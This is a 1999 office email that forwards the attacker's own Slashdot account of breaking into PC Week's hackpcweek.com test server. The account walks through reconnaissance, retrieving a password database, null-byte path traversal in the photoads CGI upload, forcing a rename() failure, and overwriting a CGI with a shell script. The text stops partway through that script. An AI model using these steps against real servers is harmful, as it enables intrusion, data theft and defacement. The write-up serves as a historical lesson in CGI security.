Dear Boss

Thanks for pointing this article from PC Week out.  

I've already read and reviewed this, and discussed it with the hacker
after it was anounced 3 weeks ago on http://slashdot.org.
The hacker attacked a shrink wrapped CGI application with a documneted
hackers weakness that has been passed around the net.



See: http://slashdot.org/articles/99/09/24/1224221.shtml 




Note this discussion below which has been reviewed.  Please review it as
well so tha everyone is fully versed in the details of network security.

I'm wondering if anyone else has comments on this.  How secure is CGI.pm
and EMBPERL?

Ruben

PS - Note the follwing from slashdot.org.  This is being sent out
broadly for increased discussion on the issue.





dated Sept 24Author: pankaj (10.0.0.1) 
            Date: 09-25-1999 00:16 

            Kudos to Jfs, here are the detail straight from the horses
mouth. We'll post them on the Linux site homepage later 

            First of all, I had to gather information on the remote
host, what ports the machine had open and what possibilities were 
            left open. After checking that most of the ports were either
filtered by the firewall or unusable due to the tcp 
            wrapper in the host, I decided that I was left only with the
HTTP server. 

            lemming:~# telnet securelinux.hackpcweek.com 80 
            Trying 208.184.64.170... 
            Connected to securelinux.hackpcweek.com. 
            Escape character is '^]'. 
            POST X HTTP/1.0 

            HTTP/1.1 400 Bad Request 
            Date: Fri, 24 Sep 1999 23:42:15 GMT 
            Server: Apache/1.3.6 (Unix) (Red Hat/Linux) 
            (...) 
            Connection closed by foreign host. 
            lemming:~# 

            So, it was running apache on a Red Hat box. The webpage said
that the server will also run mod_perl, but mod_perl leaves 
            a fingerprint in the Server: header which was not shown in
the header that this server sent out. 

            Apache 1.3.6 doesn't ship with any CGI programs available to
the remote user, but I didn't know about the RH distro, so I 
            gave the common faulty CGIs a try (test-cgi, wwwboard,
Count.cgi...) 

            After no results, I tried to find out what the website
structure was, gathering information from the HTML pages, I found 
            out that the server had this directories under the
DocumentRoot of the website: 

            / 
            /cgi-bin 
            /photoads/ 
            /photoads/cgi-bin 

            So I got interested in the photoads thingie, which seemed
like an installable package to me. After some searching on the 
            WWW I found out that photoads was a commercial CGI package
from "The Home Office Online" 
            (http://www.hoffice.com). It sells for $149, and they grant
you access to the source code (Perl), so that you can check 
            and modify it. 

            I asked a friend if he would let me gave a look at his
photoad installation 
            and this is how I got access to a copy of what could be
running in the securelinux machine. 

            I checked the default installation files and I was able to
retrieve the ads database (stored in the 
            http://securelinux.hackpcweek.com/photoads/ads_data.pl) with
all the user passwords for their ads. I also tried to access 
            the configuration file /photoads/cgi-bin/photo_cfg.pl but
because of the server setup I couldn't get it. 

            I got the /photoads/cgi-bin/env.cgi script (similar to
test-cgi) to give me details of the server such as the location in 
            the filesystem of the 
            DocumentRoot (/home/httpd/html) apart from other interesting
data (user the 
            server runs as, in this case nobody). 

            So, first things first, I was trying to exploit either SSI
(Server side includes) or the mod_perl HTML-embedded commands, 
            which look something like: 

            for SSI 
            for mod_perl 

            The scripts filtered thsi input on most of the fields,
through a perl regexp that didn't leave you with much room to 
            exploit. But I also found a user assigned variable that
wasn't checked for strange values before making it into the HTML 
            code, which will let me embed the commands inside the HTML
for server side parsing: 

            In post.cgi, line 36: 
            print "you are trying to post an AD from another URL:
$ENV{'HTTP_REFERER'}n"; 

            The $ENV{'HTTP_REFERER'} is a user provided variable (though
you have to know a bit of how HTTP headers work in order to 
            get it right), which will allow us to embed any HTML into
the code, regardless of what the data looks like. 

            Refer to the files getit.ssi and getit.mod_perl for the
actual exploit. 
            To exploit it, do something like: 

            lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80 

            But unfortunately, the host didn't have SSI nor mod_perl
configured, so I 
            hit a dead end. 

            I decided to find a hole in the CGI scripts. Most of the
holes in perl scripts are found in open(), system() or `` calls. 
            The first allows reading, writing and executing, while the
last two allow execution. 

            There were no occurrences of the last two, but there were a
few of the open() call: 

            lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more 

            advisory.cgi: open (DATA, "$BaseDir/$DataFile"); 
            edit.cgi: open (DATA, ">$BaseDir/$DataFile"); 
            edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open
$mailprog!n"; 
            photo.cgi: open(ULFD,">$write_file") || die
show_upload_failed("$write_file $!"); 
            photo.cgi: open ( FILE, $filename ); 
            (...) 

            There was nothing to do with the ones referring to $BaseDir
and $DataFile as these were defined in the config file and 
            couldn't be changed in runtime. 
            Same for the $mailprog. 

            But the other two lines are juicier... 

            In photo.,cgi, line 132: 
            $write_file = $Upload_Dir.$filename; 

            open(ULFD,">$write_file") || die
show_upload_failed("$write_file $!"); 
            print ULFD $UPLOAD{'FILE_CONTENT'}; 
            close(ULFD); 

            So if we are able to modify the $write_file variable we will
be able write to any file in the filesystem. The $write_file 
            variable comes from: 

            $write_file = $Upload_Dir.$filename; 

            $Upload_Dir is defined in the config file, so we can't
change it, but what about $filename? 

            In photo.cgim line 226: 
            if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); } 

            $filename = lc($UPLOAD{'FILE_NAME'}); 
            $filename =~ s/.+([^]+)$|.+/([^/]+)$/1/; 

            if ($filename =~ m/gif/) { 
            $type = '.gif'; 
            }elsif ($filename =~ m/jpg/) { 
            $type = '.jpg'; 
            }else{ 
            {&Not_Valid_Image} 
            } 

            So the variable comes from $UPLOAD{'FILE_NAME'} (extracted
from the variables sent to the CGI by the form). We see a 
            regexp that $filename must match in order to help us get
where we want to get, so we can't just sent any file we want to, 
            e.g. "../../../../../../../../etc/passwd", cos it will get
nulled out by the substitution : 

            $filename =~ s/.+([^]+)$|.+/([^/]+)$/1/; 

            We see, if the $filename matches the regexp, it's turned to
ascii 1 (SOH). 
            Apart from this, $filename must contain "gif" or "jpg" in
its name in order 
            to pass the Not_Valid_Image filter. 

            So, after playing a bit with various approaches and with a
bit of help from 
            Phrack's last article on Perl CGI security we find that 

           
/jfs/../../../../../../../export/www/htdocs/index.html%00.gif 

            should allow us to refer to the index.html file (the one we
have to modify, the main page in the web server). 

            But then, in order to upload we still need to fool some more
script code... 
            We notice that we won't be able to fool the filename if we
send the form in 
            a POST (the %00 doesn't get translated), so we are left out
with only a GET. 

            In photo.cgi, line 256, we can see that some checks are done
in the actual content of the file we just uploaded (:O) and 
            that if the file doesn't comply with some specifications
(basically width/length/size) of the image (remember, the 
            photo.cgi script was supposed to be used as a method to
upload a photoad to be bound to your AD). If we don't comply with 
            these details the script will delete the file we just
uploaded (or overwritten), and that's not what we want (at least 
            not if we want to leave our details somewhere in the server
:). 

            PCWeek has the ImageSize in the configuration file set to 0,
so we can forget about the JPG part of the function. Let's 
            concentrate on the GIF branch: 

            if ( substr ( $filename, -4, 4 ) eq ".gif" ) { 
            open ( FILE, $filename ); 
            my $head; 
            my $gHeadFmt = "A6vvb8CC"; 
            my $pictDescFmt = "vvvvb8"; 
            read FILE, $head, 13; 
            (my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my
$w2h) = unpack $gHeadFmt, $head; 
            close FILE; 
            $PhotoWidth = $width; 
            $PhotoHeight = $height; 
            $PhotoSize = $size; 
            return; 
            } 

            and in photo.cgi, line 140: 

            if (($PhotoWidth eq "") || ($PhotoWidth > '700')) { 
            {&Not_Valid_Image} 
            } 

            if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) { 
            {&Height_Width} 
            } 

            So we have to make the $PhotoWidth less than 700, different
from "" and smaller than ImgWidth (350 by default). 

            So we are left with $PhotoWidth != "" && $PhotoWidth 

            So we have to make the $PhotoWidth less than 700, different
from "" and smaller than ImgWidth (350 by default). 

            So we are left with $PhotoWidth != "" && $PhotoWidth 350 . 
            For $PhotoHeight it has to be smaller than $ImgHeight (250
by default). 

            So, $PhotoWidth == $PhotoHeight == 0 will do for us. Looking
at the script that gets the values into those variables, the 
            only thing we have to do is to set the values in the 6th to
9th byte to ascii 0 (NUL). 

            We make sure that we put our FILE_CONTENT to comply with
that and proceed with the next problem in the code... 

            chmod 0755, $Upload_Dir.$filename; 
            $newname = $AdNum; 
            rename("$write_file", "$Upload_Dir/$newname"); 

            Show_Upload_Success($write_file); 

            Argh!!! After all this hassle and the file gets
renamed/moved to somewhere we don't want it to be :( 
            Checking the $AdNum variable that gives the final location
its name we see that it can only contain digits: 

            $UPLOAD{'AdNum'} =~ tr/0-9//cd; 
            $UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+?%$@*//cd; 
            $AdNum = $UPLOAD{'AdNum'}; 

            Anything else gets removed, so we can't play with the
../../../ trick in here anymore :| 

            So, what can we do? The rename() function expects us to give
him two paths, the old one and the new one... wait, there is 
            no error checking on the function, so if it fails it'll just
keep on processing the next line. How can we make it fail? 
            using a bad file name. Linux kernel has got a restriction on
how long a file can be, defaults to 1024 (MAX_PATH_LEN), so 
            if we can make the script rename our file to something
longer than 1024 bytes, we'll have it! :) 
            So, next step we pass it a _really large_ AD number,
approximately 1024 bytes long. 
            Now, the script won't allow us to process the script as it
only allows us to post photos for ADs number that do exist... 
            and it will take us a hell of a lot of time to create taht
many messages in the board 10^1024 seems quite a long time to 
            me :) 
            So... another dead end? 

            Nah, the faulty input checking functions let us create an
add with the number we prefer. Just browse through the edit.cgi 
            script and think what will happen if you enter a name that
has a carriage return in between, then 
            a 1024 digits number? :) We got it... 

            Check the long.adnum file for an exploit that gets us the
new ad created. 

            So, after we can fool the AdNum check, the script makes what
we do, that is: 

            Create/overwrite any file with nobody's permissions, and
with the contents 
            that we want (except for the GIF header NULs). 

            So, let's try it 

            Check the overwrite.as.nobody script that allows us to do
that. 

            So far so good. So, we adjust the script to overwrite the
index.html web page... and it doesn't work. Duh :( 
            It's probably that we didn't have the permission to
overwrite that file (it's owned by root or it's not the right mode to 
            overwrite it). So, what do we do now? Let's try a different
approach... 
            We try to overwrite a CGI and see it we can make it run for
us :) This way we can search for the "top secret" file and 
            we'll get the prize anyway :) 

            We modify the overwrite script, and yes, it allows us to
overwrite a CGI! :) 
            We make sure we don't overwrite any important (exploit-wise)
CGI and we choose the advisory.cgi (what does it do anyway? 
            :)). 
            So, we will upload a shell script that will allow us to
execute commands, cool... 

            But then, when you run a shell script as a CGI, you need to
specify the 
            shell in the first line of the script, as in: 

            #!/bin/sh 
            echo "Content-type: text/html" 
            find / "*secret*" -print 

            And remember, our 6th, 7th, 8th and 9th bytes had to be 0 or
a very small value in order to comply with the size 
            specifications... 

            #!/bi

Reply via email to